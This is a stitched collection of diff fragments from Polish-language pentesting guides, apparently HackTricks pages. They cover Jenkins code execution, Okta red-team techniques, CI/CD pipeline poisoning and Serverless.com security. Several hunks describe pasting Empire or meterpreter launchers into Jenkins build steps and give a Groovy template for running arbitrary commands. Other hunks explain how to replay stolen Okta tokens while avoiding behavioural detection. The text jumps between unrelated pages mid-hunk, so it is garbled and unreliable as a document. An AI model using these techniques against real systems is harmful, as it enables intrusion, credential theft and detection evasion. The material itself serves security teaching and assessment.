Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać dowolny kod.
|
||||
Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu).
|
||||
|
||||
1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob`
|
||||
2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można go uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
|
||||
2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub meterpreter PowerShell (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
|
||||
3. Kliknij **Buduj teraz**
|
||||
1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowy** --> `Buduj okresowo` i ustawić cron na `* * * * *`
|
||||
2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
@@ -26,7 +26,7 @@ Lub **spróbuj uzyskać dostęp do ścieżki** `/job/<proj-name>/configure` lub
|
||||
|
||||
## Wykonanie
|
||||
|
||||
Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, że będzie wykonywał polecenia, gdy budowa zakończy się sukcesem**:
|
||||
Jeśli masz prawo do skonfigurowania projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -14,11 +14,11 @@ println "Found text ${process.text}"
|
||||
```
|
||||
Możesz wykonać polecenie używając: `cmd.exe /c dir`
|
||||
|
||||
W **linux** możesz to zrobić: **`"ls /".execute().text`**
|
||||
W **linux** możesz zrobić: **`"ls /".execute().text`**
|
||||
|
||||
Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu, możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
|
||||
|
||||
**Inny przydatny skrypt groovy** to (zastąp \[INSERT COMMAND]):
|
||||
**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -34,7 +34,7 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Reverse shell w systemie Windows
|
||||
### Reverse shell w Windows
|
||||
|
||||
Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go:
|
||||
```python
|
||||
|
||||
@@ -14,10 +14,10 @@ Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zest
|
||||
- **Universal Directory**: Umożliwia centralne zarządzanie użytkownikami, grupami i urządzeniami.
|
||||
- **API Access Management**: Zabezpiecza i zarządza dostępem do API.
|
||||
|
||||
Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM).
|
||||
Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację w wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM).
|
||||
|
||||
> [!CAUTION]
|
||||
> Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**.
|
||||
> Głównym celem Okta jest skonfigurowanie dostępu dla różnych użytkowników i grup do zewnętrznych aplikacji. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**.
|
||||
|
||||
> [!TIP]
|
||||
> Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**.
|
||||
@@ -75,7 +75,7 @@ W [**tym wpisie na blogu**](https://medium.com/nickvangilder/okta-for-red-teamer
|
||||
|
||||
**Atrybuty, które każdy użytkownik może mieć i modyfikować** (takie jak e-mail czy imię) mogą być skonfigurowane w Okta. Jeśli **aplikacja** ufa jako ID **atrybutowi**, który użytkownik może **modyfikować**, będzie mógł **podszywać się pod innych użytkowników na tej platformie**.
|
||||
|
||||
Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (musisz mieć dostęp do e-maila i zaakceptować zmianę).
|
||||
Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (będziesz musiał mieć dostęp do e-maila i zaakceptować zmianę).
|
||||
|
||||
Zauważ, że to podszywanie się zależy od tego, jak każda aplikacja została skonfigurowana. Tylko te, które ufają polu, które zmodyfikowałeś i akceptują aktualizacje, będą skompromitowane.\
|
||||
Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje:
|
||||
@@ -88,14 +88,14 @@ Najlepszym sposobem, aby dowiedzieć się, czy możesz podszyć się pod kogokol
|
||||
|
||||
## Omijanie polityk wykrywania behawioralnego <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta** powtórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania.
|
||||
Polityki wykrywania behawioralnego w Okta mogą być nieznane do momentu ich napotkania, ale **omijanie** ich można osiągnąć poprzez **bezpośrednie celowanie w aplikacje Okta**, unikając głównego pulpitu nawigacyjnego Okta. Z **tokenem dostępu Okta**, odtwórz token na **specyficznym URL aplikacji Okta** zamiast na głównej stronie logowania.
|
||||
|
||||
Kluczowe zalecenia obejmują:
|
||||
|
||||
- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas powtarzania przechwyconych tokenów dostępu.
|
||||
- Upewnij się, że **ciąg user-agent** jest spójny między klientem a powtórzonymi tokenami dostępu.
|
||||
- **Powstrzymaj się od powtarzania** tokenów od różnych użytkowników z tego samego adresu IP.
|
||||
- Zachowaj ostrożność podczas powtarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta.
|
||||
- **Unikaj używania** popularnych proxy anonimizujących i usług VPN podczas odtwarzania przechwyconych tokenów dostępu.
|
||||
- Upewnij się, że **ciąg użytkownika-agent** jest spójny między klientem a odtwarzanymi tokenami dostępu.
|
||||
- **Powstrzymaj się od odtwarzania** tokenów od różnych użytkowników z tego samego adresu IP.
|
||||
- Zachowaj ostrożność podczas odtwarzania tokenów przeciwko pulpitowi nawigacyjnemu Okta.
|
||||
- Jeśli znasz adresy IP firmy ofiary, **ogranicz ruch** do tych adresów IP lub ich zakresu, blokując cały inny ruch.
|
||||
|
||||
## Wzmacnianie Okta
|
||||
|
||||
@@ -33,7 +33,7 @@ Ponadto, w profilu **`User (default)`** z Okta możesz zobaczyć **które pola**
|
||||
|
||||
Katalogi pozwalają na importowanie osób z istniejących źródeł. Przypuszczam, że tutaj zobaczysz użytkowników importowanych z innych katalogów.
|
||||
|
||||
Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprumujesz ten katalog**, mógłbyś ustawić wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
|
||||
Nie widziałem tego, ale przypuszczam, że to jest interesujące, aby dowiedzieć się o **innych katalogach, które Okta używa do importowania użytkowników**, więc jeśli **skomprymujesz ten katalog**, mógłbyś ustawić niektóre wartości atrybutów w użytkownikach utworzonych w Okta i **może skompromitować środowisko Okta**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
@@ -79,7 +79,7 @@ I możesz zobaczyć więcej szczegółów o aplikacji (jak funkcja ujawniania ha
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Użyj Access Certifications, aby tworzyć kampanie audytowe do okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane.
|
||||
Użyj Access Certifications, aby tworzyć kampanie audytowe w celu okresowego przeglądu dostępu użytkowników do zasobów i automatycznego zatwierdzania lub cofania dostępu, gdy jest to wymagane.
|
||||
|
||||
Nie widziałem tego używanego, ale przypuszczam, że z defensywnego punktu widzenia to ładna funkcja.
|
||||
|
||||
@@ -114,7 +114,7 @@ Zaleca się wyłączenie telefonu. Najsilniejsze są prawdopodobnie kombinacje h
|
||||
|
||||
Każda aplikacja ma politykę uwierzytelniania. Polityka uwierzytelniania weryfikuje, że użytkownicy, którzy próbują zalogować się do aplikacji, spełniają określone warunki, i egzekwuje wymagania dotyczące czynników w oparciu o te warunki.
|
||||
|
||||
Tutaj możesz znaleźć **wymagania dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować.
|
||||
Tutaj możesz znaleźć **wymagania dotyczące dostępu do każdej aplikacji**. Zaleca się żądanie przynajmniej hasła i innej metody dla każdej aplikacji. Ale jeśli jako atakujący znajdziesz coś słabszego, możesz być w stanie to zaatakować.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
@@ -128,7 +128,7 @@ Zaleca się żądanie MFA, ograniczenie czasu trwania sesji do kilku godzin, nie
|
||||
|
||||
Dostawcy tożsamości (IdP) to usługi, które **zarządzają kontami użytkowników**. Dodanie IdP w Okta umożliwia Twoim użytkownikom **samo-rejestrację** w Twoich niestandardowych aplikacjach, najpierw uwierzytelniając się za pomocą konta społecznościowego lub karty inteligentnej.
|
||||
|
||||
Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP) poprzez dodanie SAML przychodzącego. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
|
||||
Na stronie dostawców tożsamości możesz dodać loginy społecznościowe (IdP) i skonfigurować Okta jako dostawcę usług (SP), dodając SAML przychodzący. Po dodaniu IdP możesz ustawić zasady routingu, aby kierować użytkowników do IdP w oparciu o kontekst, taki jak lokalizacja użytkownika, urządzenie lub domena e-mailowa.
|
||||
|
||||
**Jeśli jakikolwiek dostawca tożsamości jest skonfigurowany**, z perspektywy atakującego i obrońcy sprawdź tę konfigurację i **czy źródło jest naprawdę godne zaufania**, ponieważ atakujący, który je skompromituje, mógłby również uzyskać dostęp do środowiska Okta.
|
||||
|
||||
@@ -142,7 +142,7 @@ Ponownie, sprawdź to, ponieważ atakujący, który skompromituje AD organizacji
|
||||
|
||||
Strefa sieciowa to konfigurowalna granica, którą możesz wykorzystać do **przyznawania lub ograniczania dostępu do komputerów i urządzeń** w Twojej organizacji w oparciu o **adres IP**, który żąda dostępu. Możesz zdefiniować strefę sieciową, określając jeden lub więcej indywidualnych adresów IP, zakresy adresów IP lub lokalizacje geograficzne.
|
||||
|
||||
Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **użyć ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**.
|
||||
Po zdefiniowaniu jednej lub więcej stref sieciowych możesz **używać ich w globalnych politykach sesji**, **politykach uwierzytelniania**, powiadomieniach VPN i **zasadach routingu**.
|
||||
|
||||
Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są dozwolone (i sprawdzić, czy jakieś **adresy IP są bardziej uprzywilejowane** niż inne). Z perspektywy atakującego, jeśli użytkownicy powinni uzyskiwać dostęp z konkretnego adresu IP lub regionu, sprawdź, czy ta funkcja jest używana prawidłowo.
|
||||
|
||||
@@ -154,11 +154,11 @@ Z perspektywy atakującego interesujące jest wiedzieć, które adresy IP są do
|
||||
|
||||
### API
|
||||
|
||||
Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, **czas wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token, i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
|
||||
Możesz tworzyć tokeny API Okta na tej stronie i zobaczyć te, które zostały **utworzone**, ich **uprawnienia**, czas **wygaśnięcia** i **adresy URL źródłowe**. Zauważ, że tokeny API są generowane z uprawnieniami użytkownika, który utworzył token i są ważne tylko wtedy, gdy **użytkownik**, który je utworzył, jest **aktywny**.
|
||||
|
||||
**Zaufane źródła** przyznają dostęp do witryn, które kontrolujesz i ufasz, aby uzyskać dostęp do Twojej organizacji Okta przez API Okta.
|
||||
|
||||
Nie powinno być dużo tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
|
||||
Nie powinno być zbyt wielu tokenów API, ponieważ jeśli ich jest dużo, atakujący mógłby spróbować uzyskać do nich dostęp i je wykorzystać.
|
||||
|
||||
## Workflow
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom na **zarz
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Dostawcy chmurowi (oferują swoje własne platformy VCS)
|
||||
- Dostawcy chmury (oferują swoje własne platformy VCS)
|
||||
|
||||
## Pipelines CI/CD
|
||||
|
||||
@@ -30,12 +30,12 @@ Platformy, które zawierają kod źródłowy twojego projektu, zawierają wrażl
|
||||
- **Wycieki**: Jeśli twój kod zawiera wycieki w commitach i atakujący ma dostęp do repozytorium (ponieważ jest publiczne lub ma dostęp), może odkryć te wycieki.
|
||||
- **Dostęp**: Jeśli atakujący może **uzyskać dostęp do konta w platformie VCS**, może zyskać **więcej widoczności i uprawnień**.
|
||||
- **Rejestracja**: Niektóre platformy pozwalają tylko zewnętrznym użytkownikom na tworzenie konta.
|
||||
- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby się zalogować na przykład).
|
||||
- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium.
|
||||
- **SSO**: Niektóre platformy nie pozwalają użytkownikom na rejestrację, ale pozwalają każdemu na dostęp z ważnym SSO (więc atakujący mógłby użyć swojego konta github, aby wejść na przykład).
|
||||
- **Poświadczenia**: Nazwa użytkownika + hasło, tokeny osobiste, klucze ssh, tokeny Oauth, ciasteczka... istnieje wiele rodzajów tokenów, które użytkownik mógłby ukraść, aby uzyskać dostęp do repozytorium w jakiś sposób.
|
||||
- **Webhooks**: Platformy VCS pozwalają na generowanie webhooków. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może je wykorzystać**.
|
||||
- Jeśli nie ma sekretu, atakujący może wykorzystać webhook z platformy trzeciej.
|
||||
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret.
|
||||
- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiegoś rodzaju **dostęp do zapisu** w repozytoriach, może próbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
|
||||
- **Kompromentacja kodu:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu do zapisu** w repozytoriach, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść zabezpieczenia gałęzi**. Te działania mogą być wykonywane z różnymi celami na myśli:
|
||||
- Kompromitacja głównej gałęzi w celu **kompromitacji produkcji**.
|
||||
- Kompromitacja głównej (lub innych gałęzi) w celu **kompromitacji maszyn deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy w repozytorium na swoich maszynach).
|
||||
- **Kompromitacja pipeline** (sprawdź następną sekcję).
|
||||
@@ -67,22 +67,22 @@ Istnieją 3 smaki PPE:
|
||||
|
||||
### Korzyści z Eksploatacji
|
||||
|
||||
Znając 3 smaki zatruwania pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
|
||||
Znając 3 smaki, aby zatruć pipeline, sprawdźmy, co atakujący mógłby uzyskać po udanej eksploatacji:
|
||||
|
||||
- **Sekrety**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** do swoich zadań (pobieranie kodu, budowanie go, wdrażanie...) i te uprawnienia są zazwyczaj **przyznawane w sekretach**. Te sekrety są zazwyczaj dostępne za pośrednictwem **zmiennych env lub plików w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
|
||||
- W zależności od platformy pipeline atakujący **może potrzebować określić sekrety w konfiguracji**. Oznacza to, że jeśli atakujący nie może zmodyfikować pliku konfiguracyjnego CI (**I-PPE** na przykład), może **tylko wyeksfiltrować sekrety, które ma ten pipeline**.
|
||||
- **Obliczenia**: Kod jest wykonywany gdzieś, w zależności od tego, gdzie jest wykonywany, atakujący może być w stanie dalej się przemieszczać.
|
||||
- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej ilości zasobów**.
|
||||
- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny **ról IAM/kont serwisowych** z niej, aby uzyskać **dalszy dostęp w chmurze**.
|
||||
- **Na miejscu**: Jeśli pipeline są wykonywane na miejscu, atakujący może skończyć w **wewnętrznej sieci z dostępem do większej liczby zasobów**.
|
||||
- **Chmura**: Atakujący mógłby uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **wyeksfiltrować** tokeny ról IAM/kont usługowych **z niej**, aby uzyskać **dalszy dostęp w chmurze**.
|
||||
- **Maszyna platformy**: Czasami zadania będą wykonywane wewnątrz **maszyn platformy pipeline**, które zazwyczaj znajdują się w chmurze z **brakiem dalszego dostępu**.
|
||||
- **Wybierz to:** Czasami **platforma pipeline będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W tej sytuacji atakujący prawdopodobnie uruchomi powrotną powłokę na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
|
||||
- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i końcowa wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
|
||||
- **Kompromitacja produkcji**: Jeśli jesteś wewnątrz pipeline i ostateczna wersja jest budowana i wdrażana z niego, możesz **kompromitować kod, który ma być uruchamiany w produkcji**.
|
||||
|
||||
## Więcej istotnych informacji
|
||||
|
||||
### Narzędzia i Benchmarki CIS
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodowania do czasu wdrożenia.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytowania twojego stosu łańcucha dostaw oprogramowania pod kątem zgodności z bezpieczeństwem, oparte na nowym [**benchmarku CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od momentu kodowania do momentu wdrożenia.
|
||||
|
||||
### Top 10 ryzyk bezpieczeństwa CI/CD
|
||||
|
||||
@@ -90,7 +90,7 @@ Sprawdź ten interesujący artykuł na temat 10 największych ryzyk CI/CD wedłu
|
||||
|
||||
### Laboratoria
|
||||
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb do testowania.
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz, jak uruchomić ją lokalnie, aby skonfigurować ją według własnych potrzeb do testowania.
|
||||
- Laboratorium Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Narzędzia automatyczne
|
||||
|
||||
@@ -96,7 +96,7 @@ WriteCapacityUnits: 1
|
||||
|
||||
<summary>Dostawca</summary>
|
||||
|
||||
Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne związane z tym dostawcą.
|
||||
Obiekt **Dostawca** określa dostawcę usług chmurowych (np. AWS, Azure, Google Cloud) i zawiera ustawienia konfiguracyjne istotne dla tego dostawcy.
|
||||
|
||||
Zawiera szczegóły takie jak czas wykonania, region, etap i dane uwierzytelniające.
|
||||
```yaml
|
||||
@@ -157,7 +157,7 @@ layers:
|
||||
|
||||
<summary>Zmienne i Zmienne Niestandardowe</summary>
|
||||
|
||||
**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejscowników, które są rozwiązywane w czasie wdrażania.
|
||||
**Zmienne** umożliwiają dynamiczną konfigurację, pozwalając na użycie miejsc zastępczych, które są rozwiązywane w czasie wdrażania.
|
||||
|
||||
- **Składnia:** składnia `${variable}` może odnosić się do zmiennych środowiskowych, zawartości plików lub innych parametrów konfiguracyjnych.
|
||||
|
||||
@@ -169,7 +169,7 @@ environment:
|
||||
TABLE_NAME: ${self:custom.tableName}
|
||||
```
|
||||
|
||||
* **Zmienne Niestandardowe:** Sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
|
||||
* **Zmienne Niestandardowe:** sekcja `custom` jest używana do definiowania zmiennych i konfiguracji specyficznych dla użytkownika, które mogą być ponownie używane w całym pliku `serverless.yml`.
|
||||
|
||||
```yaml
|
||||
custom:
|
||||
@@ -204,7 +204,7 @@ Fn::Join:
|
||||
|
||||
<summary>Role i uprawnienia IAM</summary>
|
||||
|
||||
**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych ustawień funkcji, aby określić niezbędne uprawnienia.
|
||||
**Role i uprawnienia IAM** definiują dane uwierzytelniające bezpieczeństwa i prawa dostępu do Twoich funkcji i innych zasobów. Są zarządzane w ramach ustawień `provider` lub indywidualnych funkcji, aby określić niezbędne uprawnienia.
|
||||
```yaml
|
||||
provider:
|
||||
[...]
|
||||
@@ -399,7 +399,7 @@ Type: String
|
||||
```
|
||||
</details>
|
||||
|
||||
5. Samouczek prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby utworzyć **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
|
||||
5. Tutorial prosi o utworzenie pliku `createCustomer.js`, który zasadniczo utworzy nowy punkt końcowy API obsługiwany przez nowy plik JS i prosi o modyfikację pliku `serverless.yml`, aby wygenerować **nową tabelę DynamoDB**, zdefiniować **zmienną środowiskową**, rolę, która będzie używać wygenerowanych lambd.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="createCustomer.js" }}
|
||||
@@ -489,11 +489,11 @@ TableName: ${self:service}-customerTable-${sls:stage}
|
||||
|
||||
## Przegląd bezpieczeństwa Serverless.com
|
||||
|
||||
### **Źle skonfigurowane role i uprawnienia IAM**
|
||||
### **Źle skonfigurowane role IAM i uprawnienia**
|
||||
|
||||
Zbyt szerokie role IAM mogą przyznać nieautoryzowany dostęp do zasobów chmurowych, prowadząc do naruszeń danych lub manipulacji zasobami.
|
||||
|
||||
Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
|
||||
Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z uprawnieniami tylko do generowania logów, jak:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -527,7 +527,7 @@ Gdy nie określono uprawnień dla funkcji Lambda, zostanie utworzona rola z upra
|
||||
|
||||
#### **Strategie łagodzenia**
|
||||
|
||||
- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia każdej funkcji.
|
||||
- **Zasada najmniejszych uprawnień:** Przydzielaj tylko niezbędne uprawnienia do każdej funkcji.
|
||||
|
||||
```yaml
|
||||
provider:
|
||||
@@ -545,7 +545,7 @@ Action:
|
||||
Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
|
||||
```
|
||||
|
||||
- **Używaj oddzielnych ról:** Rozróżniaj role na podstawie wymagań funkcji.
|
||||
- **Używaj oddzielnych ról:** Rozróżniaj role w zależności od wymagań funkcji.
|
||||
|
||||
---
|
||||
|
||||
@@ -553,10 +553,10 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
|
||||
|
||||
Przechowywanie wrażliwych informacji (np. kluczy API, poświadczeń bazy danych) bezpośrednio w **`serverless.yml`** lub kodzie może prowadzić do ujawnienia, jeśli repozytoria zostaną skompromitowane.
|
||||
|
||||
Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambd** z **czystym tekstem wartości**!
|
||||
Zalecanym sposobem przechowywania zmiennych środowiskowych w pliku **`serverless.yml`** z serverless.com (w momencie pisania tego tekstu) jest użycie dostawców `ssm` lub `s3`, co pozwala na pobranie **wartości środowiskowych z tych źródeł w czasie wdrażania** i **konfigurowanie** zmiennych środowiskowych **lambdas** z **czystym tekstem wartości**!
|
||||
|
||||
> [!OSTRZEŻENIE]
|
||||
> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambd w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!**
|
||||
> Dlatego każdy, kto ma uprawnienia do odczytu konfiguracji lambdas w AWS, będzie mógł **uzyskać dostęp do wszystkich tych zmiennych środowiskowych w czystym tekście!**
|
||||
|
||||
Na przykład, poniższy przykład użyje SSM do pobrania zmiennej środowiskowej:
|
||||
```yaml
|
||||
@@ -564,7 +564,7 @@ provider:
|
||||
environment:
|
||||
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
|
||||
```
|
||||
I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**.
|
||||
I nawet jeśli to zapobiega twardemu kodowaniu wartości zmiennej środowiskowej w pliku **`serverless.yml`**, wartość ta zostanie uzyskana w czasie wdrażania i będzie **dodana w postaci czystego tekstu wewnątrz zmiennej środowiskowej lambda**.
|
||||
|
||||
> [!TIP]
|
||||
> Zalecanym sposobem przechowywania zmiennych środowiskowych przy użyciu serveless.com byłoby **przechowywanie ich w tajemnicy AWS** i po prostu przechowywanie nazwy tajemnicy w zmiennej środowiskowej, a **kod lambda powinien ją zebrać**.
|
||||
@@ -592,7 +592,7 @@ plugins:
|
||||
```
|
||||
|
||||
